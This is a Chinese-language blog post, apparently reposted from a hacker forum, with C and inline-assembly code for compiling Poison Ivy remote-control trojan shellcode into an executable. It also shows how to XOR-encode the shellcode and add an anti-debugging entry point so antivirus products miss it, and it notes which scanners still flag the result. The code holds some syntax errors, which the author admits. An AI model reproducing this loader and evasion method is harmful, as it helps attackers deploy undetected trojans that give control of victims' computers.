编译PI远控SHELLCODE(VC++)加异或免杀~

来自暗组,但原贴有诸多语法错误,以下是修正后的编译法。
一,直接编译:
#include <windows.h>
#pragma comment(linker, “/OPT:NOWIN98”)
#pragma comment( linker, “/subsystem:\”windows\” /entry:\”mainCRTStartup\”” )
#pragma comment(linker, “/MERGE:.rdata=.text”) //合并区段,减小体积,可以不要
void main()
{
unsigned char PIShellCode[n] =
{
    //这里填上生成的数组
};

_asm
{
lea eax,_black
   call eax
}
}

这么编译出来,国内全过了(表面),NOD32都不杀了~~只有360杀毒还没过。加个反调试,也过了。

如果自定义入口点的话,NOD32就杀了,很奇怪。。。

=========================================================================================================

二,异或免杀:

1,加密原数组,并输出。
#include <stdio.h>
void main()
{
unsigned char red[n];
     {
         /*这里用来放生成的数组,直接拷贝进来就行了;*/
     };
unsigned char black[n] ;     /* 这里声明两个数组,第一个数组是posion ivy 生成的(可以直接拷贝生成的数组)
                          第二个数组用来接收加密过的数组,一般情况下生成的数组的长度由 posion ivy服务端配置
                          情况来决定,第二个数组可以声明与第一个数组同样大;
                         */

for(int i=0;i<=n-1;i++)
    {  
    black[i]=red[i] ^ 0x5f     /* 这里直接对数组red进行xor加密

}

for (int j=0;j<=n-1;j++)

{

printf(“0x”)
printf(“%x”,black[j]); /* 这里输出已经加密过的数组

printf(“,”)
    }
}

编译,然后输出到 a.txt。

2,解密,编译成木马。

#include <windows.h>
#pragma comment(linker, “/OPT:NOWIN98”)
#pragma comment( linker, “/subsystem:\”windows\” /entry:\”mainCRTStartup\”” )
#pragma comment(linker, “/ENTRY:Fuck_AntiVirus”) //自定义了入口点,方便加反调试
#pragma comment(linker, “/MERGE:.rdata=.text”)
void Pi_Exe()
{
unsigned char FuckU[n] =
{

//上面 a.txt 中的数组元素,复制过来。

};

unsigned char black[n];

for(int i=0;i<=n-1;i++)
    {  
    black[i]=FuckU[i] ^ 0x5f;
    }
_asm
{
lea eax,black
   call eax
}
}

void Fuck_AntiVirus()
{
_asm
{

//加点反调试代码
}
Pi_Exe();
}

编译成功,杀毒网绝大部分通过。国内全过,仅是表面。。。

初学VC,错误在所难免。。。

我发现,异或不异或,免杀效果没有什么改变。。。主要还是反调试要强。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注